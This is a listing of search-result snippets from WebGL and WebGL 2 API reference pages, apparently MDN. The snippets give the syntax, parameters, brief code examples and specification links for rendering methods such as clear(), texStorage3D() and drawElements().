Syntax void gl.invalidateFramebuffer(target, attachments); Parameters target A GLenum specifying the binding point (target). Possible values: gl.FRAMEBUFFER: Collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. gl.DRAW_FRAMEBUFFER: Equivalent to gl.FRAMEBUFFER. gl.READ_FRAMEBUFFER: Used as a source for reading operations. attachments An Array of GLenum specifying the attachment points to invalidate. Possible values: gl.COLOR_ATTACHMENT{0-15}: Invalidates one of the framebuffer's color buffers. gl.DEPTH_ATTACHMENT: Invalidates the framebuffer's depth buffer. ...
...th buffer. gl.STENCIL_ATTACHMENT: Invalidates the framebuffer's stencil buffer. gl.DEPTH_STENCIL_ATTACHMENT: Invalidates both the framebuffer's depth and stencil buffer. Return value None. Examples gl.invalidateFramebuffer(gl.READ_FRAMEBUFFER, [gl.COLOR_ATTACHMENT0, gl.COLOR_ATTACHMENT1]); Specifications Specification Status Comment
WebGL 2.0The definition of 'invalidateFramebuffer' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glInvalidateFramebuffer' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.invalidateSubFramebuffer() - Web APIs
Syntax void gl.invalidateSubFramebuffer(target, attachments, x, y, width, height); Parameters target A GLenum specifying the binding point (target). Possible values: gl.FRAMEBUFFER: Collection buffer data storage of color, alpha, depth and stencil buffers used to render an image. gl.DRAW_FRAMEBUFFER: Equivalent to gl.FRAMEBUFFER. gl.READ_FRAMEBUFFER: Used as a source for reading operations. attachments An Array of GLenum specifying the attachment points to invalidate. Possible values: gl.COLOR_ATTACHMENT{0-15}: Invalidates one of the framebuffer's color buffers. ...
... the width of the pixel rectangle to invalidate. height A GLsizei specifying the height of the pixel rectangle to invalidate. Return value None. Examples gl.invalidateSubFramebuffer(gl.READ_FRAMEBUFFER, [gl.COLOR_ATTACHMENT0, gl.COLOR_ATTACHMENT1], 0, 0, 256, 256); Specifications Specification Status Comment
WebGL 2.0The definition of 'invalidateSubFramebuffer' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glInvalidateSubFramebuffer' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.isTransformFeedback() - Web APIs
The
WebGL2RenderingContext.isTransformFeedback() method of the
WebGL 2 API returns true if the passed object is a valid
WebGLTransformFeedback object. Syntax GLboolean gl.isTransformFeedback(transformFeedback); Parameters transformFeedback A
WebGLTransformFeedback object to test. Return value A GLboolean indicating whether the given object is a valid
WebGLTransformFeedback object (true) or not (false). Examples gl must be a
WebGL2RenderingContext.
WebGLTransformFeedback objects are not available in
WebGL 1. var transformFeedback = gl.createTransformFeedback(); // ... gl.isTransformFeedback(transformFeedback); Specifications Specification Status Comment
WebGL 2.0The definition of 'isTransformFeedback' in that specification. Editor's Draf...
... OpenGL ES 3.0The definition of 'glIsTransformFeedback' in that specification. ...
WebGL2RenderingContext.renderbufferStorageMultisample() - Web APIs
Syntax void gl.renderbufferStorageMultisample(target, samples, internalFormat, width, height); Parameters target A GLenum specifying the target renderbuffer object. Possible values: gl.RENDERBUFFER: Buffer data storage for single images in a renderable internal format. samples A GLsizei specifying the number of samples to be used for the renderbuffer storage. internalFormat A GLenum specifying the internal format of the renderbuffer. ...
...H_STENCIL gl.DEPTH24_STENCIL8 gl.DEPTH32F_STENCIL8 gl.STENCIL_INDEX8 width A GLsizei specifying the width of the renderbuffer in pixels. height A GLsizei specifying the height of the renderbuffer in pixels. Return value None. Examples gl.renderbufferStorageMultisample(gl.RENDERBUFFER, 4, gl.RBGA4, 256, 256); Specifications Specification Status Comment
WebGL 2.0The definition of 'glRenderbufferStorageMultisample' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glRenderbufferStorageMultisample' in that specification. Standard Man page of the (similar) OpenGL ES 3 API. ...
WebGL2RenderingContext.texStorage3D() - Web APIs
Syntax void gl.texStorage3D(target, levels, internalformat, width, height, depth); Parameters target A GLenum specifying the binding point (target) of the active texture. Possible values: gl.TEXTURE_3D: A three-dimensional texture. gl.TEXTURE_2D_ARRAY: A two-dimensional array texture. level A GLint specifying the number of texture levels. internalformat A GLenum specifying the texture store format. ...
...HROUGH_ALPHA1_ETC2 gl.COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC2 width A GLsizei specifying the width of the texture. height A GLsizei specifying the height of the texture. depth A GLsizei specifying the depth of the texture. Return value None. Examples gl.texStorage3D(gl.TEXTURE_3D, 1, gl.RGB8, 256, 256, 256); Specifications Specification Status Comment
WebGL 2.0The definition of 'texStorage3D' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glTexStorage3D' in that specification. Standard Man page of the (similar) OpenGL ES 3.0 API. ...
WebGL2RenderingContext.vertexAttribDivisor() - Web APIs
The
WebGL2RenderingContext.vertexAttribDivisor() method of the
WebGL 2 API modifies the rate at which generic vertex attributes advance when rendering multiple instances of primitives with gl.drawArraysInstanced() and gl.drawElementsInstanced(). Note: When using
WebGL 1, the ANGLE_instanced_arrays extension can provide this method, too. Syntax void gl.vertexAttribDivisor(index, divisor); Parameters index A GLuint specifying the index of the generic vertex attributes. divisor A GLuint specifying the number of instances that will pass between updates of the generic attribute. Return value None. ...
...method, too. Syntax void gl.vertexAttribDivisor(index, divisor); Parameters index A GLuint specifying the index of the generic vertex attributes. divisor A GLuint specifying the number of instances that will pass between updates of the generic attribute. Return value None. Examples gl.vertexAttribDivisor(0, 2); Specifications Specification Status Comment
WebGL 2.0The definition of 'vertexAttribDivisor' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glVertexAttribDivisor' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGL2RenderingContext.vertexAttribI4[u]i[v]() - Web APIs
The
WebGL2RenderingContext.vertexAttribI4[u]i[v]() methods of the
WebGL 2 API specify integer values for generic vertex attributes. Syntax void gl.vertexAttribI4i(index, v0, v1, v2, v3); void gl.vertexAttribI4ui(index, v0, v1, v2, v3); void gl.vertexAttribI4iv(index, value); void gl.vertexAttribI4uiv(index, value); Parameters index A GLuint specifying the position of the vertex attribute to be modified. v0, v1, v2, v3 An integer Number for the vertex attribute value. value A Uint32Array/Int32Array or sequences of GLuint/ GLint for integer vector vertex attribute values. Return value None. ...
...s index A GLuint specifying the position of the vertex attribute to be modified. v0, v1, v2, v3 An integer Number for the vertex attribute value. value A Uint32Array/Int32Array or sequences of GLuint/ GLint for integer vector vertex attribute values. Return value None. Examples gl.vertexAttribI4i(a_foobar, 10); Specifications Specification Status Comment
WebGL 2.0The definition of 'vertexAttribI' in that specification. Editor's Draft Initial definition for
WebGL. OpenGL ES 3.0The definition of 'glVertexAttribI' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.activeTexture() - Web APIs
Syntax void gl.activeTexture(texture); Parameters texture The texture unit to make active. The value is a gl.TEXTUREI where I is within the range from 0 to gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1. Return value None. Exceptions If texture is not one of gl.TEXTUREI, where I is within the range from 0 to gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS - 1, a gl.INVALID_ENUM error is thrown. Examples The following call selects gl.TEXTURE1 as the current texture. Subsequent calls that modify the texture state will affect this texture. ...
...p of the MAX_COMBINED_TEXTURE_IMAGE_UNITS constant. It is, per specification, at least 8. gl.getParameter(gl.MAX_COMBINED_TEXTURE_IMAGE_UNITS); To get the active texture, query the ACTIVE_TEXTURE constant. gl.activeTexture(gl.TEXTURE0); gl.getParameter(gl.ACTIVE_TEXTURE); // returns "33984" (0x84C0, gl.TEXTURE0 enum value) Specifications Specification Status Comment
WebGL 1.0The definition of 'activeTexture' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glActiveTexture' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.attachShader() - Web APIs
The
WebGLRenderingContext.attachShader() method of the
WebGL API attaches either a fragment or vertex
WebGLShader to a
WebGLProgram. Syntax void gl.attachShader(program, shader); Parameters program A
WebGLProgram. shader A fragment or vertex
WebGLShader. Examples The following code attaches pre-existing shaders to a
WebGLProgram. var program = gl.createProgram(); // Attach pre-existing shaders gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) { var info = gl.getProgramInfoLog(program); throw 'Could not compile
WebGL program. ...
...gram = gl.createProgram(); // Attach pre-existing shaders gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); if ( !gl.getProgramParameter( program, gl.LINK_STATUS) ) { var info = gl.getProgramInfoLog(program); throw 'Could not compile
WebGL program. \n\n' + info; } Specifications Specification Status Comment
WebGL 1.0The definition of 'attachShader' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glAttachShader' in that specification. Standard OpenGL man page. ...
WebGLRenderingContext.blendColor() - Web APIs
The
WebGLRenderingContext.blendColor() method of the
WebGL API is used to set the source and destination blending factors. Syntax void gl.blendColor(red, green, blue, alpha); Parameters red A GLclampf for the red component in the range of 0 to 1. green A GLclampf for the green component in the range of 0 to 1. blue A GLclampf for the blue component in the range of 0 to 1. alpha A GLclampf for the alpha component (transparency) in the range of 0 to 1. Return value None. Examples To set the blend color, use: gl.blendColor(0, 0.5, 1, 1); To get the blend color, query the BLEND_COLOR constant which returns a Float32Array. ...
...to 1. alpha A GLclampf for the alpha component (transparency) in the range of 0 to 1. Return value None. Examples To set the blend color, use: gl.blendColor(0, 0.5, 1, 1); To get the blend color, query the BLEND_COLOR constant which returns a Float32Array. gl.getParameter(gl.BLEND_COLOR); // Float32Array[0, 0.5, 1, 1] Specifications Specification Status Comment
WebGL 1.0The definition of 'blendColor' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glBlendColor' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.clear() - Web APIs
The preset values can be set by clearColor(), clearDepth() or clearStencil(). The scissor box, dithering, and buffer writemasks can affect the clear() method. Syntax void gl.clear(mask); Parameters mask A GLbitfield bitwise OR mask that indicates the buffers to be cleared. Possible values are: gl.COLOR_BUFFER_BIT gl.DEPTH_BUFFER_BIT gl.STENCIL_BUFFER_BIT Return value None. Exceptions If mask is not one of the listed possible values, a gl.INVALID_ENUM error is thrown. Examples The clear() method accepts multiple values. ...
...lues. gl.clear(gl.DEPTH_BUFFER_BIT); gl.clear(gl.DEPTH_BUFFER_BIT | gl.COLOR_BUFFER_BIT); To get the current clear values, query the COLOR_CLEAR_VALUE, DEPTH_CLEAR_VALUE, and STENCIL_CLEAR_VALUE constants. gl.getParameter(gl.COLOR_CLEAR_VALUE); gl.getParameter(gl.DEPTH_CLEAR_VALUE); gl.getParameter(gl.STENCIL_CLEAR_VALUE); Specifications Specification Status Comment
WebGL 1.0The definition of 'clear' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glClear' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.clearColor() - Web APIs
This specifies what color values to use when calling the clear() method. The values are clamped between 0 and 1. Syntax void gl.clearColor(red, green, blue, alpha); Parameters red A GLclampf specifying the red color value used when the color buffers are cleared. Default value: 0. green A GLclampf specifying the green color value used when the color buffers are cleared. Default value: 0. blue A GLclampf specifying the blue color value used when the color buffers are cleared. Default value: 0. alpha A GLclampf specifying the alpha (transparency) value used when the color buffers are cleared. Default value: 0. Return value None. ...
...g the alpha (transparency) value used when the color buffers are cleared. Default value: 0. Return value None. Examples gl.clearColor(1, 0.5, 0.5, 3); To get the current clear color, query the COLOR_CLEAR_VALUE constant which returns a Float32Array. gl.getParameter(gl.COLOR_CLEAR_VALUE); // Float32Array[1, 0.5, 0.5, 1] Specifications Specification Status Comment
WebGL 1.0The definition of 'clearColor' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glClearColor' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.clearStencil() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glClearStencil' in that specification. ...
...ethod. Syntax void gl.clearStencil(s); Parameters s A GLint specifying the index used when the stencil buffer is cleared. Default value: 0. Return value None. Examples gl.clearStencil(1); To get the current stencil clear value, query the STENCIL_CLEAR_VALUE constant. gl.getParameter(gl.STENCIL_CLEAR_VALUE); // 1 Specifications Specification Status Comment
WebGL 1.0The definition of 'clearStencil' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glClearStencil' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.colorMask() - Web APIs
Syntax void gl.colorMask(red, green, blue, alpha); Parameters red A GLboolean specifying whether or not the red color component can be written into the frame buffer. Default value: true. green A GLboolean specifying whether or not the green color component can be written into the frame buffer. Default value: true. blue A GLboolean specifying whether or not the blue color component can be written into the frame buffer. Default value: true. alpha A GLboolean specifying whether or not the alpha (transparency) component can be written into the frame buffer. Default value: true. Return value None. ...
...not the alpha (transparency) component can be written into the frame buffer. Default value: true. Return value None. Examples gl.colorMask(true, true, true, false); To get the current color mask, query the COLOR_WRITEMASK constant which returns an Array. gl.getParameter(gl.COLOR_WRITEMASK); // [true, true, true, false] Specifications Specification Status Comment
WebGL 1.0The definition of 'colorMask' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glColorMask' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.commit() - Web APIs
some drawing using the gl context ... // Push frames back to the original HTMLCanvasElement gl.commit(); Specifications Specification Status Comment HTML Living StandardThe definition of 'the commit() method of the OffscreenCanvas object's rendering context' in that specification. ...
... The
WebGLRenderingContext.commit() method pushes frames back to the original HTMLCanvasElement, if the context is not directly fixed to a specific canvas. Syntax void
WebGLRenderingContext.commit() Examples var htmlCanvas = document.createElement('canvas'); var offscreen = htmlCanvas.transferControlToOffscreen(); var gl = offscreen.getContext('
webgl'); // ... some drawing using the gl context ... // Push frames back to the original HTMLCanvasElement gl.commit(); Specifications Specification Status Comment HTML Living StandardThe definition of 'the commit() method of the OffscreenCanvas object's rendering context' in that specification. Living Standard ...
WebGLRenderingContext.copyTexImage2D() - Web APIs
Syntax void gl.copyTexImage2D(target, level, internalformat, x, y, width, height, border); Parameters target A GLenum specifying the binding point (target) of the active texture. Possible values: gl.TEXTURE_2D: A two-dimensional texture. gl.TEXTURE_CUBE_MAP_POSITIVE_X: Positive X face for a cube-mapped texture. gl.TEXTURE_CUBE_MAP_NEGATIVE_X: Negative X face for a cube-mapped texture. gl.TEXTURE_CUBE_MAP_POSITIVE_Y: Positive Y face for a cube-mapped texture. gl.TEXTURE_CUBE_MAP_NEGATIVE_Y: Negative Y face for a cube-mapped texture. gl.TEXTURE_CUBE_MAP_POSITIVE_Z: Positive Z face for a cube-mapped texture. ...
...inate of the lower left corner where to start copying. width A GLsizei specifying the width of the texture. height A GLsizei specifying the height of the texture. border A GLint specifying the width of the border. Must be 0. Return value None. Examples gl.copyTexImage2D(gl.TEXTURE_2D, 0, gl.RGBA, 0, 0, 512, 512, 0); Specifications Specification Status Comment
WebGL 1.0The definition of 'copyTexImage2D' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCopyTexImage2D' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.copyTexSubImage2D() - Web APIs
Syntax void gl.copyTexSubImage2D(target, level, xoffset, yoffset, x, y, width, height); Parameters target A GLenum specifying the binding point (target) of the active texture. Possible values: gl.TEXTURE_2D: A two-dimensional texture. gl.TEXTURE_CUBE_MAP_POSITIVE_X: Positive X face for a cube-mapped texture. gl.TEXTURE_CUBE_MAP_NEGATIVE_X: Negative X face for a cube-mapped texture. gl.TEXTURE_CUBE_MAP_POSITIVE_Y: Positive Y face for a cube-mapped texture. gl.TEXTURE_CUBE_MAP_NEGATIVE_Y: Negative Y face for a cube-mapped texture. gl.TEXTURE_CUBE_MAP_POSITIVE_Z: Positive Z face for a cube-mapped texture. ...
...left corner where to start copying. y A GLint specifying the y coordinate of the lower left corner where to start copying. width A GLsizei specifying the width of the texture. height A GLsizei specifying the height of the texture. Return value None. Examples gl.copyTexSubImage2D(gl.TEXTURE_2D, 0, 0,0, 0, 0, 16, 16); Specifications Specification Status Comment
WebGL 1.0The definition of 'copyTexSubImage2D' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCopyTexSubImage2D' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.cullFace() - Web APIs
Syntax void gl.cullFace(mode); Parameters mode A GLenum specifying whether front- or back-facing polygons are candidates for culling. The default value is gl.BACK. Possible values are: gl.FRONT gl.BACK gl.FRONT_AND_BACK Return value None. Examples Polygon culling is disabled by default. To enable or disable culling, use the enable() and disable() methods with the argument gl.CULL_FACE. gl.enable(gl.CULL_FACE); gl.cullFace(gl.FRONT_AND_BACK); To check the current cull face mode, query the CULL_FACE_MODE constant. ...
...ling is disabled by default. To enable or disable culling, use the enable() and disable() methods with the argument gl.CULL_FACE. gl.enable(gl.CULL_FACE); gl.cullFace(gl.FRONT_AND_BACK); To check the current cull face mode, query the CULL_FACE_MODE constant. gl.getParameter(gl.CULL_FACE_MODE) === gl.FRONT_AND_BACK; // true Specifications Specification Status Comment
WebGL 1.0The definition of 'cullFace' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glCullFace' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.depthFunc() - Web APIs
Syntax void gl.depthFunc(func); Parameters func A GLenum specifying the depth comparison function, which sets the conditions under which the pixel will be drawn. The default value is gl.LESS. ...
...es The depth testing is disabled by default. To enable or disable depth testing, use the enable() and disable() methods with the argument gl.DEPTH_TEST. gl.enable(gl.DEPTH_TEST); gl.depthFunc(gl.NEVER); To check the current depth function, query the DEPTH_FUNC constant. gl.getParameter(gl.DEPTH_FUNC) === gl.NEVER; // true Specifications Specification Status Comment
WebGL 1.0The definition of 'depthFunc' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDepthFunc' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.depthMask() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDepthMask' in that specification. ...
... A GLboolean specifying whether or not writing into the depth buffer is enabled. Default value: true, meaning that writing is enabled. Return value None. Examples gl.depthMask(false); To get the current depth mask, query the DEPTH_WRITEMASK constant which returns a Boolean. gl.getParameter(gl.DEPTH_WRITEMASK); // false Specifications Specification Status Comment
WebGL 1.0The definition of 'depthMask' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDepthMask' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.depthRange() - Web APIs
Syntax void gl.depthRange(zNear, zFar); Parameters zNear A GLclampf specifying the mapping of the near clipping plane to window or viewport coordinates. Clamped to the range 0 to 1 and must be less than or equal to zFar. The default value is 0. zFar A GLclampf specifying the mapping of the far clipping plane to window or viewport coordinates. Clamped to the range 0 to 1. The default value is 1. Return value None. ...
... of the far clipping plane to window or viewport coordinates. Clamped to the range 0 to 1. The default value is 1. Return value None. Examples gl.depthRange(0.2, 0.6); To check the current depth range, query the DEPTH_RANGE constant which returns a Float32Array gl.getParameter(gl.DEPTH_RANGE); // Float32Array[0.2, 0.6] Specifications Specification Status Comment
WebGL 1.0The definition of 'depthRange' in that specification. Recommendation Initial definition. Unlike OpenGL,
WebGL requires zNear and zFar values to be clamped to the range 0 to 1. Additionally, zNear must be less than or equal to zFar. OpenGL ES 2.0The definition of 'glDepthRangef' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.disableVertexAttribArray() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDisableVertexAttribArray' in that specification. Standard Man page of the OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDisableVertexAttribArray' in that specification. ...
WebGLRenderingContext.drawArrays() - Web APIs
Syntax void gl.drawArrays(mode, first, count); Parameters mode A GLenum specifying the type primitive to render. Possible values are: gl.POINTS: Draws a single dot. gl.LINE_STRIP: Draws a straight line to the next vertex. gl.LINE_LOOP: Draws a straight line to the next vertex, and connects the last vertex back to the first. gl.LINES: Draws a line between a pair of vertices. gl.TRIANGLE_STRIP gl.TRIANGLE_FAN gl.TRIANGLES: Draws a triangle for a group of three vertices. first A GLint specifying the starting index in the array of vector points. count A GLsizei specifying the number of indices to be rendered. Return value None. ...
...r of indices to be rendered. Return value None. Exceptions If mode is not one of the accepted values, a gl.INVALID_ENUM error is thrown. If first or count are negative, a gl.INVALID_VALUE error is thrown. if gl.CURRENT_PROGRAM is null, a gl.INVALID_OPERATION error is thrown. Examples gl.drawArrays(gl.POINTS, 0, 8); Specifications Specification Status Comment
WebGL 1.0The definition of 'drawArrays' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDrawArrays' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.drawElements() - Web APIs
Syntax void gl.drawElements(mode, count, type, offset); Parameters mode A GLenum specifying the type primitive to render. Possible values are: gl.POINTS: Draws a single dot. gl.LINE_STRIP: Draws a straight line to the next vertex. gl.LINE_LOOP: Draws a straight line to the next vertex, and connects the last vertex back to the first. gl.LINES: Draws a line between a pair of vertices. gl.TRIANGLE_STRIP gl.TRIANGLE_FAN gl.TRIANGLES: Draws a triangle for a group of three vertices. count A GLsizei specifying the number of elements to be rendered. type A GLenum specifying the type of the values in the element array buffer. ...
... None. Exceptions If mode is not one of the accepted values, a gl.INVALID_ENUM error is thrown. If offset is not a valid multiple of the size of the given type, a gl.INVALID_OPERATION error is thrown. If count is negative, a gl.INVALID_VALUE error is thrown. Examples gl.drawElements(gl.POINTS, 8, gl.UNSIGNED_BYTE, 0); Specifications Specification Status Comment
WebGL 1.0The definition of 'drawElements' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glDrawElements' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.finish() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glFinish' in that specification. Standard Man page of the OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glFinish' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.flush() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glFlush' in that specification. Standard Man page of the OpenGL API. ...
... Recommendation Initial definition. OpenGL ES 2.0The definition of 'glFlush' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.frontFace() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glFrontFace' in that specification. Standard Man page of the OpenGL API. ...
...gons are front- or back-facing by setting a winding orientation. Syntax void gl.frontFace(mode); Parameters mode A GLenum type winding orientation. The default value is gl.CCW. Possible values: gl.CW: Clock-wise winding. gl.CCW: Counter-clock-wise winding. Return value None. Examples gl.frontFace(gl.CW); Specifications Specification Status Comment
WebGL 1.0The definition of 'frontFace' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glFrontFace' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.getActiveAttrib() - Web APIs
The
WebGLRenderingContext.getActiveAttrib() method of the
WebGL API returns a
WebGLActiveInfo object containing size, type, and name of a vertex attribute. It is generally used when querying unknown attributes either for debugging or generic library creation. Syntax
WebGLActiveInfo gl.getActiveAttrib(program,index); Parameters program A
WebGLProgram containing the vertex attribute. index A GLuint specifying the index of the vertex attribute to get. This value is an index 0 to N - 1 as returned by gl.getProgramParameter(program, gl.ACTIVE_ATTRIBUTES). Return value A
WebGLActiveInfo object. Examples const numAttribs = gl.getProgramParameter(program, gl.ACTIVE_ATTRIBUTES); for (let i = 0; i < numAttribs; ++i) { const info = gl.getActiveAttrib(program, i); console.log('name:',...
... Recommendation Initial definition. ...
WebGLRenderingContext.getError() - Web APIs
Syntax GLenum gl.getError(); Parameters None. Return value Constant Description gl.NO_ERROR No error has been recorded. The value of this constant is 0. gl.INVALID_ENUM An unacceptable value has been specified for an enumerated argument. The command is ignored and the error flag is set. gl.INVALID_VALUE A numeric argument is out of range. The command is ignored and the error flag is set. gl.INVALID_OPERATION The specified command is not allowed for the current state. The command is ignored and the error flag is set. ...
...t. gl.INVALID_OPERATION The specified command is not allowed for the current state. The command is ignored and the error flag is set. gl.INVALID_FRAMEBUFFER_OPERATION The currently bound framebuffer is not framebuffer complete when trying to render to or to read from it. gl.OUT_OF_MEMORY Not enough memory is left to execute the command. gl.CONTEXT_LOST_
WEBGL If the
WebGL context is lost, this error is returned on the first call to getError. Afterwards and until the context has been restored, it returns gl.NO_ERROR. Examples gl.getError(); // gl.NO_ERROR (0) gl.enable(gl.FOOBAR); gl.getError(); // gl.INVALID_ENUM; Specifications Specification Status Comment
WebGL 1.0The definition of 'getError' in that specific...
WebGLRenderingContext.getProgramInfoLog() - Web APIs
The
WebGLRenderingContext.getProgramInfoLog returns the information log for the specified
WebGLProgram object. It contains errors that occurred during failed linking or validation of
WebGLProgram objects. Syntax gl.getProgramInfoLog(program); Parameters program The
WebGLProgram to query. Return value A DOMString that contains diagnostic messages, warning messages, and other information about the last linking or validation operation. When a
WebGLProgram object is initially created, its information log will be a string of length 0. Examples Checking program errors var program = gl.createProgram(); // Attach pre-existing shaders gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); gl.getProgramInfoLog(program); Specificatio...
...Program object is initially created, its information log will be a string of length 0. Examples Checking program errors var program = gl.createProgram(); // Attach pre-existing shaders gl.attachShader(program, vertexShader); gl.attachShader(program, fragmentShader); gl.linkProgram(program); gl.getProgramInfoLog(program); Specifications Specification Status Comment
WebGL 1.0The definition of 'getProgramInfoLog' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetProgramInfoLog' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.getShaderParameter() - Web APIs
pname A GLenum specifying the information to query. Possible values: gl.DELETE_STATUS: Returns a GLboolean indicating whether or not the shader is flagged for deletion. gl.COMPILE_STATUS: Returns a GLboolean indicating whether or not the last shader compilation was successful. gl.SHADER_TYPE: Returns a GLenum indicating whether the shader is a vertex shader (gl.VERTEX_SHADER) or fragment shader (gl.FRAGMENT_SHADER) object. Return value Returns the requested shader information (as specified with pname). ...
...der compilation was successful. gl.SHADER_TYPE: Returns a GLenum indicating whether the shader is a vertex shader (gl.VERTEX_SHADER) or fragment shader (gl.FRAGMENT_SHADER) object. Return value Returns the requested shader information (as specified with pname). Examples gl.getShaderParameter(shader, gl.SHADER_TYPE); Specifications Specification Status Comment
WebGL 1.0The definition of 'getShaderParameter' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetShaderiv' in that specification. Standard Man page of the (similar) OpenGL API. ...
WebGLRenderingContext.getVertexAttribOffset() - Web APIs
Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetVertexAttribPointerv' in that specification. Standard Man page of the OpenGL API. ...
... gl.getVertexAttribOffset(index, pname); Parameters index A GLuint specifying the index of the vertex attribute. pname A GLenum which must be gl.VERTEX_ATTRIB_ARRAY_POINTER. Return value A GLintptr indicating the address of the vertex attribute. Examples gl.getVertexAttribOffset(i, gl.VERTEX_ATTRIB_ARRAY_POINTER); Specifications Specification Status Comment
WebGL 1.0The definition of 'getVertexAttribOffset' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glGetVertexAttribPointerv' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.polygonOffset() - Web APIs
The offset is added before the depth test is performed and before the value is written into the depth buffer. Syntax void gl.polygonOffset(factor, units); Parameters factor A GLfloat which sets the scale factor for the variable depth offset for each polygon. The default value is 0. units A GLfloat which sets the multiplier by which an implementation-specific value is multiplied with to create a constant depth offset. The default value is 0. Return value None. Examples The polygon offset fill is disabled by default. To enable or disable polygon offset fill, use the enable() and disable() methods with the argument gl.POLYGON_OFFSET_FILL. ...
...ethods with the argument gl.POLYGON_OFFSET_FILL. gl.enable(gl.POLYGON_OFFSET_FILL); gl.polygonOffset(2, 3); To check the current polygon offset factor or units, query the POLYGON_OFFSET_FACTOR and POLYGON_OFFSET_UNITS constants. gl.getParameter(gl.POLYGON_OFFSET_FACTOR); // 2 gl.getParameter(gl.POLYGON_OFFSET_UNITS); // 3 Specifications Specification Status Comment
WebGL 1.0The definition of 'polygonOffset' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glPolygonOffset' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.sampleCoverage() - Web APIs
Syntax void gl.sampleCoverage(value, invert); Parameters value A GLclampf which sets a single floating-point coverage value clamped to the range [0,1]. The default value is 1.0. invert A GLboolean which sets whether or not the coverage masks should be inverted. The default value is false. Return value None. Examples Multi-sampling is disabled by default. To enable or disable multi-sampling, use the enable() and disable() methods with the argument gl.SAMPLE_COVERAGE and gl.SAMPLE_ALPHA_TO_COVERAGE. ...
...gl.SAMPLE_COVERAGE and gl.SAMPLE_ALPHA_TO_COVERAGE. gl.enable(gl.SAMPLE_COVERAGE); gl.sampleCoverage(0.5, false); To check the sample coverage values, query the SAMPLE_COVERAGE_VALUE and SAMPLE_COVERAGE_INVERT constants. gl.getParameter(gl.SAMPLE_COVERAGE_VALUE); // 0.5 gl.getParameter(gl.SAMPLE_COVERAGE_INVERT); // false Specifications Specification Status Comment
WebGL 1.0The definition of 'sampleCoverage' in that specification. Recommendation Initial definition. OpenGL ES 2.0The definition of 'glSampleCoverage' in that specification. Standard Man page of the OpenGL API. ...
WebGLRenderingContext.scissor() - Web APIs
